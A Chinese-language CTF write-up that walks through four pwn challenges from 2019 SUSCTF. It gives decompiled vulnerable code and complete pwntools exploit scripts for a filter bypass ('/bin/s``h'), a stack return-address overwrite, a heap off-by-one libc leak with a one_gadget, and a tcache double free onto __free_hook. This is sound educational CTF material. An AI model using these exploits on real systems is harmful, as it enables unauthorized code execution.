2019 SUSCTF PWN

有幸去到东南大学参加这个比赛,这算是我参加的第一个比较正式的比赛,这是四月份的比赛了,当时实力不够,pwn只做出了两道题,还是比较简单的,另外两道有关堆的题目不会做,后来学习了一下堆的管理机制,现在终于这两道题做完了

checkin

题目分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+10h] [rbp-20h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
init(*(_QWORD *)&argc, argv, envp);
banner();
puts("input your cmd to check in QAQ\n>");
read(0, &buf, 0x10uLL);
if ( strstr(&buf, "sh") )
{
puts("you can't input sh");
exit(0);
}
system(&buf);
return __readfsqword(0x28u) ^ v5;
}

题目很简单,就是一个签到题,利用system函数调用你输入的指令,这里把sh屏蔽了,直接在sh之间插入一些其他东西即可跳过

EXP

1
/bin/s``h

retmoon

题目分析

一道栈溢出,漏洞出现在这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned __int64 sub_B49()
{
char v1; // [rsp+7h] [rbp-39h]
char *v2; // [rsp+8h] [rbp-38h]
char buf[40]; // [rsp+10h] [rbp-30h]
char _20[40]; // [rsp+20h] [rbp-20h]
unsigned __int64 v5; // [rsp+38h] [rbp-8h]

v5 = __readfsqword(0x28u);
v2 = _20;
puts("you can say someing before you wake");
read(0, buf, 0x50uLL); // 溢出
puts("one more word");
read(0, &v1, 1uLL);
buf[*(signed int *)v2] = v1;// 溢出
return __readfsqword(0x28u) ^ v5;
}

程序本身带有getshell函数

1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 sub_AE8()
{
char buf; // [rsp+7h] [rbp-9h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Are you ready to leave earth to the moon?(y or n)\n>");
read(0, &buf, 1uLL);
system("/bin/sh");
return __readfsqword(0x28u) ^ v2;
}

所以可以考虑劫持返回地址,程序带有canary保护,所以不能直接在第一输入就覆盖,但是第一次输入可以覆盖_20这个变量,导致v2可以被控制,从而在第二次输入的时候可以以buf为基址,以v2为偏移的地方写入一个字节,这里原本的返回地址为0xAC0,而getshell地址为0xAE8,所以这里直接往低位写入一个0xE8即可

EXP

1
2
3
4
5
6
7
8
from pwn import *
context.log_level = 'debug'
p = remote('211.65.197.117', 10006)
p.recv()
p.send('a'*16+p64(0x38)) # 0x38是buf与返回地址直接的偏移
p.recv()
p.send(p64(0xe8))
p.interactive()

pwn_collection

题目分析

这算是一道heap与stack相结合的题目吧,当时完全不懂堆的利用,所以没做,其实也是挺简单的

开始是一个用户注册删除登陆系统

  1. registry
  2. login
  3. delete user
  4. exit

这里的注册会申请两个堆块来保存用户名和密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int registry()
{
int v0; // ebx
int v1; // ebx

v0 = chunk_count;
chunk_tab[2 * v0] = malloc(0x14uLL);
puts("now you can create a user");
printf("input your name(no more than 20)\n>");
my_read((void *)chunk_tab[2 * chunk_count], 0x14uLL);
v1 = chunk_count;
chunk_tab[2 * v1 + 1] = malloc(0x20uLL);
printf("input password\n>", 20LL);
__isoc99_scanf("%s", chunk_tab[2 * chunk_count + 1]); //这里存在溢出?没利用过
++chunk_count;
return puts("registry complete");
}

删除用户的时候可能会有UAF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int delete()
{
int v1; // [rsp+Ch] [rbp-4h]

v1 = 0;
puts("input your index");
__isoc99_scanf("%d", &v1);
if ( v1 >= chunk_count )
return puts("idx > num");
free((void *)chunk_tab[2 * v1]); // uaf
free((void *)chunk_tab[2 * v1 + 1]);
--chunk_count;
return puts("ok");
}

而在登陆的时候,存在栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int login()
{
int result; // eax
char v1; // [rsp+0h] [rbp-30h]
int v2; // [rsp+2Ch] [rbp-4h]

v2 = 0;
puts("input your index");
__isoc99_scanf("%d", &v2);
printf("input your password\n>", &v2);
my_read(&v1, 0x50uLL); // 栈溢出
result = check_login(&v1, (_BYTE *)chunk_tab[2 * v2 + 1]);
if ( result == 1 )
{
puts("login ok");
result = note();
}
return result;
}

这里的栈溢出可以修改返回地址,且没有Canary保护

程序中没有getshell的地址,所以考虑ret2libc,这就需要知道libc的基址

login进入后到达另一个管理,note的申请释放与打印,这里就是有关堆的操作

————-note-menu———-

  1. add note
  2. check note
  3. delete note
  4. return

在add note的时候,chunk大小有限制,只能申请fastbin范围的chunk,不过存在一个off by one

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int add_note()
{
int v1; // ebx
int v2; // [rsp+Ch] [rbp-14h]

if ( note_count > 19 )
return puts("notes are too many");
puts("input your note length");
__isoc99_scanf("%d", &v2);
if ( v2 > 0x5F ) // chunk size limit
return puts("too big");
v1 = note_count; // 新申请的chunk总是记录在尾部
(&ptr)[v1] = (char *)malloc(v2);
puts("input your note");
my_read((&ptr)[note_count], v2 + 1); // off by one
++note_count;
return puts("adding ok");
}

这里通过自己实现的read函数输入,所幸没有null byte截断

1
2
3
4
5
6
7
8
9
10
11
12
ssize_t __fastcall my_read(void *ptr, size_t lenth)
{
ssize_t result; // rax

result = read(0, ptr, lenth);
if ( (signed int)result <= 0 )
{
puts("Error");
_exit(-1);
}
return result;
}

check函数可以打印chunk内容

1
2
3
4
5
6
7
8
9
10
11
12
13
int check_note()
{
int result; // eax
int v1; // [rsp+Ch] [rbp-4h]

puts("input your note idx");
__isoc99_scanf("%d", &v1);
if ( v1 < note_count )
result = printf((&ptr)[v1], &v1); // 存在格式化字符串漏洞可利用吗?
else
result = puts("too big idx");
return result;
}

delete函数free相应的chunk,指针未置0,存在uaf,但是其堆块的申请总是放到最后一个位置,也许不能利用uaf 可以利用一些多余chunk隔开,可以形成 double free ,具体没利用

1
2
3
4
5
6
7
8
9
10
11
12
int delete_note()
{
int v1; // [rsp+Ch] [rbp-4h]

puts("input your note idx");
__isoc99_scanf("%d", &v1);
if ( v1 >= note_count )
return puts("too big idx");
free((&ptr)[v1]);
--note_count;
return puts("free ok");
}

那么如何利用heap来泄漏libc就是关键所在了

在非fastbin的chunk被free的时候,都会先进入unsortedbin,在 unsortedbin中的第一个chunk的fd与bk会指向main_arena的某个位置,main_arena也放在libc中,与libc的基址的偏移可以在malloc_trim函数中找到,若是我们能得到这个unsortedbin中的chunk的fd或者bk指针的值,我们就能计算出libc的基址,从而找到one_gadget

由于忘记当时题目有没有给出libc,没有的话这里偏移地址不好搞,所以这里以我本地libc为例,并且假设我已经或者该libc

因为这里申请的chunk都是在fastbin范围的,因此被free后会进入fastbin而不是unsortedbin,因此我们得想办法构造一个fake chunk,其size不在fastbin中,并且将其free,从而进入到unsortedbin

我们可以利用一个off by one修改next chunk的size值的低位,将其改成0x91(fastbin最大为0x80),并且free next chunk,他就会进入到unsortedbin中,这里要注意好堆块的伪造和预防与top chunk合并

我们可以先申请四个块ABCD,其中BC块的size之和为0x90,并且利用A块溢出修改B块的size为0x91,free B块,这样BC块就会合并放到unsortedbin中,此时再malloc一个最小块E(0x10)并且写上8个字符,这样E的内容中,前8个为输入的字符,后8个会遗留libc的地址,利用check功能可以打印出来,从而计算出libc基址

再退回到上级管理,重新login,利用栈溢出修改返回地址为one_gadget,即可getshell

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
p = process("./pwn_collection")
e = ELF("./pwn_collection")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
p.sendlineafter(">", '1')
p.sendlineafter(">", '1')
p.sendlineafter(">", '1')
##context.log_level = 'debug'
p.sendlineafter(">", '2')
p.sendlineafter("index\n", '0')
p.sendlineafter(">", '1')


def add(len, cont):
p.sendlineafter("chioce>", '1')
p.sendlineafter("length\n", str(len))
p.sendlineafter("note\n", cont)


def check(idx):
p.sendlineafter("chioce>", '2')
p.sendlineafter("idx\n", str(idx))


def delete(idx):
p.sendlineafter("chioce>", '3')
p.sendlineafter("idx\n", str(idx))


add(0x18, '0')
add(0x58, '1')
add(0x28, '2')
add(0x18, '3')

delete(0)
add(0x18, '0' * 0x18 + '\x91')
delete(1)
add(0x48, '1' * 7)

check(1)
p.recvuntil('\n')
libc_base = u64(p.recv(6) + '\x00\x00') - 216 - 0X3C4B20
print("libc base: " + hex(libc_base))
onr_gadget = libc_base + 0x45216
p.sendlineafter("chioce>", '4')
p.sendlineafter(">", '2')
p.sendlineafter("index\n", '0')
payload = 'a' * 0x28 + p64(0x0602160) * 2 + p64(onr_gadget) #这里要注意他会以rbp-4的地址里面的内容为地址取值,所以要保证可读
p.sendlineafter(">", payload)
p.interactive()

tcache_pwn

题目分析

从名字可以得知是和tcache机制有关的,忘记当时的libc了,应该是2.26/2.27的吧,这里就用2.27的版本来做题

  1. add flag
  2. check flag
  3. delete flag
  4. exit

四个常规功能

add函数没有什么特别的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned __int64 add()
{
int lenth; // [rsp+Ch] [rbp-14h]
void *buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
if ( flag_count <= 9 )
{
puts("input your flag's length");
__isoc99_scanf("%d", &lenth);
buf = malloc(lenth);
puts("input your flag");
read(0, buf, lenth);
flag_list[flag_count++] = buf;
puts("adding ok");
}
else
{
puts("flags are too many");
}
return __readfsqword(0x28u) ^ v3;
}

check函数也一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 check()
{
int index; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
index = 0;
puts("input your index");
__isoc99_scanf("%d", &index);
if ( index < flag_count )
{
puts((const char *)flag_list[index]);
puts("ok");
}
else
{
puts("idx > num");
}
return __readfsqword(0x28u) ^ v2;
}

而在delete函数里面,存在uaf,可以多次释放

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 delete()
{
int index; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
index = 0;
puts("input your index");
__isoc99_scanf("%d", &index);
if ( index < flag_count )
{
free((void *)flag_list[index]); // use after free
puts("ok");
}
else
{
puts("idx > num");
}
return __readfsqword(0x28u) ^ v2;
}

在2.26/2.27的libc中,tcache验证没有那么严格,tcache对于chunk的free,并不会像fastbin那样检查是否已在bin中,所以在这两个版本的libc中可以直接free两个chunk,形成tcache double free(在2.28版本以上已经增加了double free的check,会遍历整个链,如何绕过?)

double free后再malloc一次,并且修改自己的next指针为目标地址,则在tcache中会形成当前chunk->目标地址的伪链,我们再malloc两次,就得到了目标地址的读写权,而且tcache不会对目标地址有size的限制,也就是说我们可以指向任何地方,这里我们修改free_got为system,再free一个带有/bin/sh的chunk就可getshell

libc基址还是利用unsortedbin来泄漏,在tcache中,要free一个大于tcache范围(0x440?)的chunk才会放入unsortedbin,这里我们用一个0x500的chunk即可,然后再malloc一个0x10的chunk,填充8个字符拼接起bk位置的libc main arena指针,将其泄漏

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# glibc-2.27
from pwn import *
p = process("./tcache_pwn")
libc = ELF("/libc-2.27.so")

get = lambda data: u64(data + '\x00\x00')


def add(sz, ctn='1'):
p.sendlineafter("choice>\n", '1')
p.sendlineafter("length\n", str(sz))
p.sendlineafter("flag\n", ctn)


def check(idx):
p.sendlineafter("choice>\n", '2')
p.sendlineafter("index\n", str(idx))


def delete(idx):
p.sendlineafter("choice>\n", '3')
p.sendlineafter("index\n", str(idx))


add(0x500)
add(0x10, '/bin/sh\x00')
add(0x10)
add(0x10)
delete(0)
check(0)
main_arena = get(p.recv(6)) - 96
print "main arena: " + hex(main_arena)
libc_base = main_arena - 0x3EBC40
print "libc base: " + hex(libc_base)
free_hook = libc_base + libc.symbols['__free_hook']
print "free hook: " + hex(free_hook)
libc_system = libc_base + libc.symbols['system']
delete(2)
delete(2)
add(0x10, p64(free_hook))
add(0x10)
add(0x10, p64(libc_system))
delete(1)
p.interactive()

  libcpwnstack

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×